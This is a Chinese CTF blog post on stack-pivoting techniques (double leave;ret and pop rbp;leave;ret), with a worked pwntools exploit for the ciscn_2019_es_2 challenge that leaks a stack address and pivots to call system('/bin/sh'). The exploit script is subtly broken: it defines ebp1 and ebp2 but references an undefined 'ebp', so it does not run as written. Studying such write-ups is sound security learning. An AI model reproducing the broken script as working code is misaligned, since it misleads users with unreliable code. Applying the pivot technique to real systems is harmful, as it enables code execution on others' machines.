目錄
  1. 1. 前言
  2. 2. double ret
    1. 2.1. 原理
    2. 2.2. 例题
  3. 3. pop leave
栈迁移的多种技巧

前言

当栈空间不够利用或者无法利用时,我们又需要利用rop的时候,栈迁移可以帮助我们。

下面介绍几种常见的栈迁移方法,持续更新!

double ret

double ret就是通过将ebp覆盖成我们构造的fake_ebp ,然后利用leave ; ret这样的gadget将esp劫持到fake_ebp的地址上

原理

假设可以覆盖ebp

1
2
3
4
5
esp |          |
| ... |
ebp | fake_ebp |
| ... |
|leave_ret |

第一次leave ; ret

1
2
mov esp; ebp
pop ebp #此时ebp的值为fake_ebp

第二次leave ; ret

1
mov esp; ebp        #esp的值为fake_ebp

例题

下面以ciscn_2019_es_2为例

checksec

1
2
3
4
5
6
[*] '/mnt/hgfs/pwn/buuoj/es_2_stack_pivot/ciscn_2019_es_2'         
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

程序漏洞很明显,32位程序下有8字节的栈溢出,可以覆盖到ebp和函数返回地址

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s; // [esp+0h] [ebp-28h]

memset(&s, 0, 0x20u);
read(0, &s, 0x30u);
printf("Hello, %s\n", &s);
read(0, &s, 0x30u);
return printf("Hello, %s\n", &s);
}

利用方式:

1、第一次read和printf可以泄露栈地址

2、第二次read可以进行栈迁移将栈压低,刚好可以利用vul函数的main函数的double ret

vul函数

1
2
.text:080485FD                 leave
.text:080485FE retn

main函数,需要注意的是main函数的返回稍有不同

1
2
3
4
.text:0804862F                 mov     ecx, [ebp+var_4]
.text:08048632 leave
.text:08048633 lea esp, [ecx-4]
.text:08048636 retn

栈布局

1
2
3
4
pwndbg> x/12wx $ebp-0x28
0xff975d10: 0x61616161 0xff975d20 0x62626262 0x08048400
0xff975d20: 0x63636363 0xff975d28 0x6e69622f 0x0068732f
0xff975d30: 0x70707070 0x70707070 0xff975d18 0x0804862a

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.terminal = ['tmux','split','-h']
p = process('ciscn_2019_es_2')

sys_plt=0x8048400

pl='a'*0x20+'bbbbbbbb'
p.send(pl)
p.recvuntil('b'*8)
ebp1=u32(p.recv(4))
print(hex(ebp))
ebp2 = ebp1 - 0x10
pl2=('a'*4+p32(ebp-0x18)+'bbbb'+p32(sys_plt)+'cccc'+p32(ebp-0x10)+'/bin/sh\x00').ljust(0x28,'d')+p32(ebp-0x20)
gdb.attach(p)
p.send(pl2)

p.interactive()

pop leave

可以直接利用

1
2
3
pop rbp;
leave
ret
文章作者: kangel
文章鏈接: https://j-kangel.github.io/2020/04/09/栈迁移的多种技巧/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL